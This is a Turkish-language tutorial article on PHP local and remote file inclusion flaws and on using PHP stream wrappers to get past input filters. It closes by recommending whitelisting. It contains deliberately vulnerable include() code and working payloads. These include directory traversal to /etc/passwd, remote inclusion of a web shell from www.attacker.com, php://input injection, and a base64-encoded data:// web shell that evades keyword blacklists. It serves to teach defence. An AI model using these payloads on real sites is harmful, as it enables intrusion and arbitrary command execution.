LFI, RFI Güvenlik Zafiyetleri Bağlamında PHP Stream Wrapper'ları

Ziyahan Albeniz - 20 Temmuz 2016 -

LFI, RFI bağlamında filtrelerin nasıl by pass edilebileceğine ve özellikle de bu amaçla PHP Wrapper’ların kullanılmasına yazı boyunca değindik. Özet olarak, stream işlemleri için farklı fonksiyonlar kullanmak yerine, farklı türdeki stream operasyonları için ortak fonksiyonların kullanılmasını sağlayan wrapper’lar, bazı güvenlik filtrelerini by-pass etmek için kullanılabilir

LFI, RFI Güvenlik Zafiyetleri Bağlamında PHP Stream Wrapper'ları

SRI - Subresource Integrity

Remote File Inclusion (RFI) ve Local File Inclusion (LFI) Nedir?

OWASP (Open Web Application Security Project)’in hazırladığı, OWASP TOP Ten 2010 ve 2013 raporlarının A1 Injection kategorisinde değerlendirilen bu zafiyetler, “kullanıcıdan alınan girdilerin hiçbir sanitasyon (temizleme, arındırma) işlemine tabi tutulmaksızın, kodun ya da sorgunun bir parçasıymış gibi dil yorumlayıcısına aktarılmaları sonucu oluşan zafiyetler” olarak tanımlanmaktadır.

SQL Injection, File Inclusion ve Command Injection biçimlerinde karşımıza çıkabilecek bu zafiyetleri yazımızda örnek bir vaka üzerinden tanıyacak; bu zafiyetlere karşı alınan tedbirlerin nasıl aşılabildiğini ve yine bu bağlamda PHP Stream Wrapper’larını inceleyeceğiz.

Konumuza örnek teşkil edecek web sitesine çoklu dil desteği eklendiğini düşünelim. Eklenen bu özellik sayesinde ziyaretçi, "language" parametresinde belirttiği dilde site gezinimine devam edebilecek.

Az kod ile çok iş yapmak moda olduğundan, aşağıdaki kod bloğu pek alâ işimizi görecektir:

<?php
	$language = $_GET["language"];
	include("websites/$language/home.php");
?>

Kurdun kuzu ile dost olduğu bir dünyada, rahatlıkla "language" parametresi değerinin “en”,”de”,”tr”,”eo” gibi dil kodlarından biri olabileceğini varsayabiliriz:

http://www.example.com/home.php?language=en

<?php
	$language = $_GET["language"]; //en
	include("websites/$language/home.php"); // "websites/en/home.php"
?>

Ama bu yangın yerinde durum öyle mi? Ya işler tahmin ettiğimiz gibi gitmez ve kötü niyetli kullanıcılardan biri "language" parametresi olarak, beklediğimiz değerlerden başka bir değer gönderirse?

http://www.example.com/home.php?language=ATTACK

<?php
	$language = $_GET["language"]; //ATTACK
	include("websites/$language/home.php"); // "websites/ATTACK/home.php"
?>

PHP warning: include(websites/ATTACK/home.php): failed to open stream: No such file or directory on line 1

“Nasıl olsa dosya sistemimde böyle bir dizin yok, dolayısı ile endişelenmeme de gerek yok” diye mi düşünüyorsunuz?

Oysa durum tam olarak öyle değil. PHP’den dönen hata mesajındaki kırmızı ve bold olarak işaretlenen değere baktığınızda bu değerin ("ATTACK") saldırganın URL ile gönderdiği değer ile birebir aynı olduğunu göreceksiniz. Saldırgan bu basit işlemi kullanarak öncelikle bir girdi kontrolü yapılıp yapılmadığını ve "language" parametresi ile gönderilen herhangi bir değerin doğrudan koda dahil edilip edilmediğini tespit edebilecek. Saldırgan için, bundan iyisi Şam’da kayısı.

Saldırganın bu aşamadan itibaren, saldırısını biraz daha boyutlandırmaya karar verdiğini ve *nix sistemlerde kullanıcı adı ve şifrelerin tutulduğu "/etc/passwd" dosyasına erişmeye çalıştığını düşünelim:

http://www.example.com/home.php?language=/etc/passwd

<?php
	$language = $_GET["language"]; ///etc/passwd
	include("websites/$language/home.php"); // "websites//etc/passwd/home.php"
?>

PHP warning: include(websites//etc/passwd/home.php): failed to open stream: No such file or directory on line 1

Limitleri Zorlamak

LFI ve RFI ataklarında, bir saldırganın önüne çıkabilecek engellerden ilki, geliştiricinin parametre olarak aldığı değeri bir dosya yolu ve uzantısı ile birleştirerek kullanmasıdır.

Yukarıdaki hata mesajından da anlaşılacağı üzere, "language" parametresi ile gönderilmesi beklenen dizin, "websites" dizini altında olmalı ve "home.php" isminde bir dosya içermeliydi. Ancak bu koşullar altında "include" fonksiyonu dosya yoluna erişebilecek ve hedef dosyayı ("home.php") koda dahil edebilecekti. Sistem bu koşullar sağlanmadığı için, yani "websites" altında bir "etc" dizini ve bu dizinin altında da bir "passwd" dosyası olmadığı için hata verdi.

Hedef dosya yolu ("websites") ve uzantısının (".php") kendini dayatması bir kısım saldırganın adımlarını geriletse de, bir kısım saldırgan için yeni bir meydan okuma daveti olarak algılanabilir. Hal böyle olunca, saldırganın cephanesinden bu yeni duruma karşı yeni silahlar çıkacağını öngörmek yersiz olmayacaktır:

  • a) Null Byte Injection: PHP 5.3.4 ve sonraki sürümlerde rastlanmayan bu zafiyet, stringlere NULL karakter enjekte edilip, NULL Byte’dan sonraki kısmın string concatenation (metin birleştirme) işleminden hariç tutulması yöntemine dayanıyor.

    Null Byte Injection zafiyeti, PHP ve PHP için C dilinde yazılan kütüphanelerin NULL karakterini farklı yorumlamalarından ileri geliyor. Bu kütüphaneler kendilerine aktarılan parametrelerdeki NULL değerini, C tabanlı oldukları için (C’de doğal bir davranış olarak) string sonlandırmada kullanılan bir meta karakter olarak algılayıp. NULL karakterine rastladıkları anda metin dizisini sonlandırıyorlar. Bunun sebebi, C dilinin string türünde bir veri tipi barındırmaması ve string’i Null Terminated Array olarak adlandırılan bir metin dizisi olarak değerlendirmesi.

    int main () {
    	foo[0] = ‘T’;
    	foo[1] = ‘e’;
    	foo[2] = ‘x’;
    	foo[3] = ‘t’;
    	foo[4] = ‘\0’;
    }

    (C dilinde bu karakter dizisi ilk NULL karakterine kadar okunacak ve NULL karakterine erişildiğinde dizi sonlanacaktır.)

    Peki Null Byte Injection'ı nasıl kullanabilir, URL ile gönderdiğimiz parametreye nasıl enjekte edebiliriz?

    Tabii ki Null Byte’ın URL Encode değeri olan %00 ile.

    http://www.example.com/home.php?language=/etc/passwd%00

    <?php
    	$language = $_GET["language"]; // /etc/passwd%00
    	include("websites/$language/home.php");
    	// "websites//etc/passwd%00/home.php"
    ?>

    PHP warning: include(websites//etc/passwd): failed to open stream: No such file or directory on line 1

    Yine işe yaramadı değil mi? Ama en azından “/home.php” kısmını by-pass edebildik. Fakat "websites" dizini altında “/etc/passwd” şeklinde bir yol olmadığından yine keyifle izlediğinizi düşünüyorum.

  • b) Directory Traversal (Dizin Dolaşımı)

    OWASP tarafından, iyi filtrelenmemiş kullanıcı girdilerinin, web kök dizini dışındaki dizinlere ulaşılabilecek şekilde değiştirilmesi olarak tarif edilen Directory Traversal (ya da Path Traversal) yöntemini kullanarak, karşılaştığımız bu yeni engeli aşmaya çalışalım.

    *nix sistemlerinde, “.” (nokta)’nın working directory ‘e yani dizinin kendisine; ” ..” (yan yana iki nokta) ‘nın da parent, yani üst dizine işaret ettiğini hatırlayalım. *nix sistemlerdeki diğer önemli bir ayrıntı da dizin ayırma için Windows temelli işletim sistemleri aksine, “/” (forward slash) ‘ın kullanılmasıdır.

    *nix dizin yapısı ile ilgili yukarıda saydığımız bilgilerle karşılaştığımız yeni engelin nasıl aşılabileceğini inceleyelim.

    Son örneğimizde aşağıdaki hata ile karşılaşmış idik:

    http://www.example.com/home.php?language=/etc/passwd%00

    PHP warning: include(websites//etc/passwd): failed to open stream: No such file or directory on line 1

    Directory traversal, yani dizin dolaşım metodu ile bu hatayı da elimine edip, hedefe kolaylıkla ulaşabiliriz:

    http://www.example.com/home.php?language=/../../../../../../../../../etc/passwd%00

    <?php
    	$language = $_GET["language"]; ///etc/passwd
    	include("websites/$language/home.php");
    	//"websites//../../../../../../../../../etc/passwd%00/home.php"
    ?>

    “../“ karakterlerinin ne kadar fazla sayıda olduğu önemli değil, hatta fazla sayıda olması, olası bir dosya veya dizin bulunamadı hatasını elimine edebilir. *Nix sistemlerde “../” karakteri ile dizin dolaşımının nihai noktası root dizini olacağından, bu sayıyı arttırmamız, başarılı atak olasılığını da arttıracaktır. Sebebi gayet basit, web sayfalarının barındırıldığı dizinin, kök dizine ne kadar uzak olduğunu her zaman kestiremeyiz. Bunun için "/../" sembollerini arttırarak nihai nokta olan root dizine ulaşmayı deniyoruz.

    http://www.example.com/home.php?language=/../../../../../../../../../etc/passwd%00

    <?php
    	$language = $_GET["language"]; ///etc/passwd
    	include("websites/$language/home.php");
    	// "websites//../../../../../../../../../etc/passwd%00/home.php"
    ?>

    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

    Yukarıdaki gibi bir sonuç ile karşılaştığımızda, atak başarılı demektir.

    /etc/passwd dosyası gibi, *Nix sistemlerde önemli bilgiler içeren başka dosyalara da ulaşabilmek mümkün.

  • c) PHP Stream Wrapperları

    Stream’ler PHP 4.3 ile kullanıma sunulan ve bugün dahi PHP’nin az bilinen, kullanışlı özelliklerinden biridir.

    Konuyu herkes için daha anlaşılabilir kılabilmek adına, Stream, Wrapper gibi temel bir takım kavramları da açıklamak gerekiyor.

    BT terminolojisinde Stream, bir verinin, bir kaynaktan bir hedefe aktarılmasına verilen addır. Kaynak ve hedefimiz, bir dosya, bir TCP/IP ya da UDP network bağlantısı, standart girdi ve çıktı, bir dosya sunucusuna dosya aktarımı, dosya arşivleme işlemleri gibi farklı biçimlerde olabilir.

    Yukarıda sayılan işlemler birbirinden ne kadar farklı ise de ortak olan bir yönleri var: Tüm bu işlemler temel olarak bir okuma ve yazma işlemidir. Mutlaka ya kaynaktan hedefe bir veri yazar; ya da kaynaktan okuduğumuz bir veriyi hedefe aktarırız:

    1. Bağlantı Açılır
    2. Veri Okunur
    3. Veri Yazılır
    4. Bağlantı Kapatılır

    Temel görünümü okuma ve yazma olsa da, bir web sunucusuna erişmek ile bir dosya arşivlemek; standart bir girdi çıktı işlemiyle, bir TCP/IP ya da UDP bağlantısı kurmak için birbirinden farklı işlemlerin yapılması gereklidir.

    PHP bu tarz farklı streaming işlemleri için arka planda gerekli işlemleri yapan ama ortak bir arayüz sunan jenerik fonksiyonlar içermektedir: "file", "fopen", "fwrite", "fclose", "file_get_contents", "file_put_contents".

    Kullanım kolaylığı ve büyüsünün geldiği nokta tam da burası. PHP’de her bir streaming işlemi için farklı fonksiyonlar kullanmak zorunda kalmaksızın, jenerik fonksiyonlar vasıtası ile, farklı türlerdeki streaming işlemlerimizi yapabiliyoruz.

    Bugüne kadar çoğunlukla stream kavramının yalnızca bir parçası olan dosya okuma-yazma işlemlerinde kullandığımız bu fonksiyonları, PHP’nin kendisinde bulunan wrapper’lar ile HTTP, FTP, SOCKET işlemleri, Standart Girdi ve Çıktı işlemleri gibi daha pek çok streaming işleminde kullanabiliriz.

    Farklı türdeki stream işlemleri için jenerik fonksiyonlarımıza, kullanacağımız stream türünü aşağıdaki şekilde belirtiyoruz:

    <wrapper>://<target>

    "Wrapper" değeri kullanacağımız stream türünü belirtiyor: "File", "FTP", "PHPOUTPUT", "PHPINPUT", "HTTP", "SSL", vb.

    Muhtemelen aşağıdaki kod size çok tanıdık gelecektir:

    <?php
    	$handle = fopen(“some.txt”,”rb”);
    	while(feof($handle)!==true) {
    	    echo fgets($handle);
    
    	}
    ?>

    Aslında yukarıdaki kod blogunda yaptığımız, "fopen" jenerik stream fonksiyonunu file:// dosya sistemi wrapper’ı ile çağırmaktan ibaret.

    Yukarıdaki kod bloğu aslında aşağıdaki kod bloğu ile işlem bakımından aynıdır:

    <?php
    	$handle = fopen(“file://some.txt”,”rb”);
    	while(feof($handle)!==true) {
    	    echo fgets($handle);
    
    	}
    ?>

    Streaming fonksiyonlarında, default wrapper "file://" olduğu için, bu değeri özellikle belirtmediğiniz durumlarda dahi, file system’e ait olan "file://" wrapperı kullanılacaktır.

    Aşağıdaki kod bloğu bize kullanabileceğimiz wrapper’ların bir listesini verecektir:

    <?php
        print_r(stream_get_wrappers());
    ?>
    • c.1) Stream-Context Kavramı

      Stream fonksiyonlarının varsayılan kullanımı pek çok işlem için yeterli olabilir. Ancak bazı özel durumlarda, daha fazlasına ihtiyaç duyduğumuzda ne yapacağız?

      <?php
      	file_get_contents(“http://www.example.com/news.php”);
      ?>

      "file_get_contents" komutu ile http://www.example.com/news.php sitesindeki haberleri kolaylıkla okuduk, diyelim. Peki ya bu web sitesi, yetki gerektiren bir site ise? Ya da bu haberlere erişmek için bir login önşartı mevcut ise?

      Böylesi durumlarda, stream davranışını özelleştirebileceğimiz, opsiyonel parametreler tanımlayabileceğimiz stream-context özelliğine müracaat ediyoruz. Böylece stream fonksiyonumuzun davranışlarını değiştirme imkanına sahip olabiliyoruz.

      Örneğimizi inceleyelim:

      <?php
          $postdata = ‘{“username”:”ziyahan”}’
          $opts = array('http' =>
              array(
                  'method'  => 'POST',
                  'header'  => 'Content-type: application/json;charset=utf-8;\r\n'.
                      ‘Content-Length’.mb_strlen($postdata),
                  'content' => $postdata
              )
          );
      
          $context = stream_context_create($opts);
          $response = file_get_contents('http://www.example.com/news.php', false,
          $context);
      ?>

      Göreceğiniz üzere Stream-context aslında ilişkisel bir dizi(array). En üst anahtar değeri de context’in kullanılacağı wrapper tipini (örneğimizde HTTP) belirtiyor. Her bir wrapper’ın kendine özgü context parametreleri mevcut. Bunları özel olarak PHP dökümantasyonundan kontrol edebilirsiniz.

    • c.2) Stream Filters

      Buraya kadar hep streamler ile ilgili okuma ve yazma hususlarına değindik. Stream Wrapper’larının esas gücü, verilerin okunma/yazılma esnasında (on-fly) olarak değiştirilmesi, eklenebilmesi ve silinebilmesinden geliyor.

      PHP hali hazırda birkaç streaming filtresi sunmakta. Bunlar: "string.toupper", "string.tolower", "string.rot13", "string.strip_tags". Bunlara ek olarak çeşitli custom filtreler de kullanabilmek mümkün.

      Bir stream’e "stream_append_filter" fonksiyonunu kullanarak filtreler ekleyebiliriz. Örneğin aşağıdaki filtre, okunan her satırın büyük harfe çevrilmesini sağlayacaktır:

      <?php
          $handle = fopen('file://data.txt','rb');
          stream_filter_append($handle, 'string.toupper');
          while(feof($handle)!==true) {
              echo fgets($handle);
          }
          fclose($handle);
      ?>

      data.txt’den okunan değerler, büyük harf olarak ekrana basılacaktır.

      Stream’lere filtre ekleyebilmek için "php://filter" wrapper’ını da kulllanabiliriz:

      <?php
          $handle = fopen('php://filter/read=string.toupper/resource=data.txt','rb');
      
          while(feof($handle)!==true) {
              echo fgets($handle);
          }
          fclose($handle);
      ?>

      Bu yöntem streaming’in başladığı anda çalışacaktır. İlk örnekle kıyas edildiğinde gereksiz bir operasyon gibi gözükebilir, fakat file() ve fpasstru() gibi fonksiyonlar, sonradan kendilerine filtre ataçlanmasına izin vermediğinden, ikinci yöntem daha elverişli olacaktır.

      Filtreleri, rot13, base64 gibi encoding ya da dosya sıkıştırma ve extract işlemlerinde on-fly olarak kullanabilirsiniz.

      PHP, öntanımlı wrapperlar dışında, Amazon S3, Dropbox gibi üçüncü parti wrapperları da kullanabilir, daha spesifik işlemlere özgü custom wrapper’lar yazabilirsiniz.

      Şimdiye dek sunduğumuz örnekler, LFI kategorisinde yani hedef sistem üzerindeki dosyaları, kodun içerisine dahil ederek, özel bilgilere ulaşabilmek üzerineydi.

      LFI'ye ek olarak, bir de sunucu dışındaki bir noktadan, web uygulaması içerisine kod enjekte etmek yani RFI saldırıları mümkün. RFI saldırıları ile, sunucu üzerinde kontrole sahip olabilmemize yarayan komutlar çalıştırabilir, saldırıları boyutlandırılabiliriz:

      Örnek kodumuz :

      <?php
          include($_GET[“go”].”.php”);
      ?>

      Yine az kodla çok iş yapma gayesiyle yazılan bu kod sayesinde, www.example.com?go=contact, www.example.com?go=products gibi linklerle sayfalar arasında gezinim yapabiliyoruz.

      Her şey beklediğimiz gibi gitmeyecek elbette.

      Uzak sunucuda bir yerde malscript.txt isminde bir dosya barındırdığımızı ve dosyanın içeriğinin şu şekilde olduğunu düşünelim:

      <?php
          phpinfo();
      ?>

      Attack patternimiz : http://www.attacker.com/malscript.txt

      www.example.com?go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt

      <?php
          include(“http://www.attacker.com/malscript.txt.php”);
      ?>

      Geliştirici tarafından varsayılan .php uzantısı, yine burada karşımıza engel olarak çıktı. Oysa RFI ataklarında, bu tarz kısıtları by-pass etmek, çok daha kolay.

      Attack patternimiz: http://www.attacker.com/malscript.txt?q=

      www.example.com/go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt%3Fq%3D

      <?php
          include(“http://www.attacker.com/malscript.txt?q=.php”);
      ?>

      Atak URL'ine eklediğimiz "?q=" metni sayesinde ".php" kısmını by-pass edebildik.

      Bu işlemden sonra phpinfo() fonksiyonunun sonucu olarak sunucu bilgilerini göreceğiz. Çünkü uzak sunucudan text formatındaki belgeyi PHP kodunun içerisine enjekte ettik ve bu kod, web sayfası koduna eklenerek kodun bir parçası olarak yorumlandı.

      malscript.txt kodunu istediğimiz gibi değiştirebiliriz. Örneğin sunucu bilgilerine ulaşmak istediğimizde:

      <?php
          system(“uname -a”)
      ?>

      Ya da daha dinamik bir hale getirmek istersek:

      <?php
          system($_GET[“cmd”]);
      ?>

      Attack paternimiz : http://www.attacker.com/malscript.txt?q=

      www.example.com?cmd=uname+-a&go=http%3A%2F%2Fwww.attacker.com%2Fmalscript.txt?q=

      Bu aşamada, sunucudan her türlü komutu çalıştırmasını istemek mümkün.

      Eğer Query String taklidi ile, ".php" kısıtını aşamıyorsak, metne dahil edilmesini engelleyemediğimiz ".php" uzantısını kendi amaçlarımız için kullanabiliriz. Bunun için kendi sunucumuzda bu iş için özel olarak kullanacağımız, bir PHP dosyası oluşturuyor ve aşağıdaki kodları dosyamıza yerleştiriyoruz:

      backdoor.php:

      <?php
          echo '<?php system($_GET["cmd"]);?>';
      ?>

      Attack patternimiz : http://www.attacker.com/backdoor

      http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor

      Kodumuz PHP tarafından şu şekilde yorumlanacak:

      <?php
          include(“http://www.attacker.com/backdoor.php”);
      ?>

      Peki diyelim, geliştiricimiz tedbir almaya karar verdi ve bazı girdileri filtrelemeye başladı. Mesela "http://" metnini parametre içerisinde kullanamıyoruz. Bu durumda, sistemdeki bu zafiyetin istismar edilebileceği yollar kapanmış gözüküyor.

      Yazının girişinde sözünü ettiğimiz, Stream Wrapper’ları işte burada devreye giriyor ve filtrelenen "http://" wrapper’ı yerine, başka yöntemler kullanabiliyoruz. Örneğin, "php://input" wrapper’ı.

      Temel olarak, POST Request Body'sinden aldığı girdiyi PHP yorumlayıcısına gönderen bu wrapper'ı RFI zafiyet istismarında nasıl kullanabiliriz?

      Örnek isteğimiz:

      POST http://www.example.com?go=php://input%00 HTTP/1.1
      Host: example.com
      Content-Length: 30
      
      <?php system($_GET["cmd"]); ?>

      Gördüğünüz gibi, "http://" ve "file://" wrapperları filtrelenmiş olsa bile, "php://input" wrapperını kullanarak, zafiyeti exploit edebildik.

      Diyelim ki, geliştiricimiz sunucuya yapılan istekleri inceledi ve filtrelenen değerler arasına “php://” wrapper'ını da ekledi. Üstelik "system", "cmd" gibi işletim sistemi seviyesinde komut çalıştırmaya izin veren PHP fonksiyonlarını da kara listeye aldı. İşimiz giderek zorlaşıyor ama imdadımıza yetişen başka bir wrapper, "data://" wrapper’ı vasıtası ile bu sorunun da üstesinden gelebilmek mümkün:

      "data://" wrapperı kendisine tip ve değer olarak geçirilen bir girdiyi, PHP’deki stream fonksiyonlarına aktarmakla görevli.

      Yukarıdaki kodumuzu hatırlayalım:

      <?php
          system($_GET[“cmd”]);
      ?>

      Bu kodu zafiyet içeren web sayfasına "data://" wrapper’ı ile aktardığımızı varsayalım:

      Attack patternimiz : data://text/plain, <?php system($_GET["cmd"]); ?>

      İsteğimizin URL encode edilmiş hali:

      data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e

      http://www.example.com/go=data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e

      "cmd" parametresi ile birlikte çalışmasını arzu ettiğimiz kodu göndereceğiz. Örneğin sistem bilgisini almak için "uname -a". Tabii bunu da URL encoding’den geçirmeliyiz.

      Saldırı yapmak için kullanacağımız URL :

      http://www.example.com?cmd=uname+-a&go=data%3a%2f%2ftext%2fplain%2c+<%3fphp+system(%24_GET%5b"cmd"%5d)%3b+%3f>

      Unuttuğumuz bir şey var, geliştiricinin, "system", "cmd" gibi anahtar kelimeleri kara listeye aldığını söylemiştik.

      Peki bu duruma ne yapacağız?

      Neyse ki "data://" wrapper’ı base64 (ve hatta rot13) encode'u destekliyor. Zafiyeti exploit etmek için kullanacağımız PHP kodunu base64 ile encode edip, aşağıdaki şekilde istek yapacağız.

      PHP kodumuz:

      <?php
          system($_GET[“cmd”]);
      ?>

      Base64 ile encode edilmiş hali : PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=

      İstek yapacağımız URL :

      http://www.example.com?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4=

      Çok zararsız görünüyor değil mi? Oysa "go" parametresinde gönderdiğimiz base64 ile encode edilmiş script kodu, "cmd" parametresi ile aktarılan tüm komutları işletim sistemi seviyesinde çalıştırmaya hazır sadık bir hizmetkar olarak emrimize amade.

Sonuç

LFI, RFI bağlamında filtrelerin nasıl by pass edilebileceğine ve özellikle de bu amaçla PHP Wrapper’ların kullanılmasına yazı boyunca değindik.

Özet olarak, stream işlemleri için farklı fonksiyonlar kullanmak yerine, farklı türdeki stream operasyonları için ortak fonksiyonların kullanılmasını sağlayan wrapper’lar, bazı güvenlik filtrelerini by-pass etmek için kullanılabilir.

Yukarıdaki örneklerde bahsettiğimiz gibi, sonsuz kara listeler tanımlayarak, git gide genişleyen atak skalasının önünü almak neredeyse imkansız. "http://", "file://", "php://", "system", "cmd" gibi anahtar kelimelerden müteşekkil kara listeler oluşturmak ve bunları her yeni atak tipinde güncellemeye çalışmak yerine, "whitelist" olarak adlandırılan ve sadece belirli fonksiyon ve metin girdilerine izin veren yöntemler kullanmak daha yerinde olacaktır.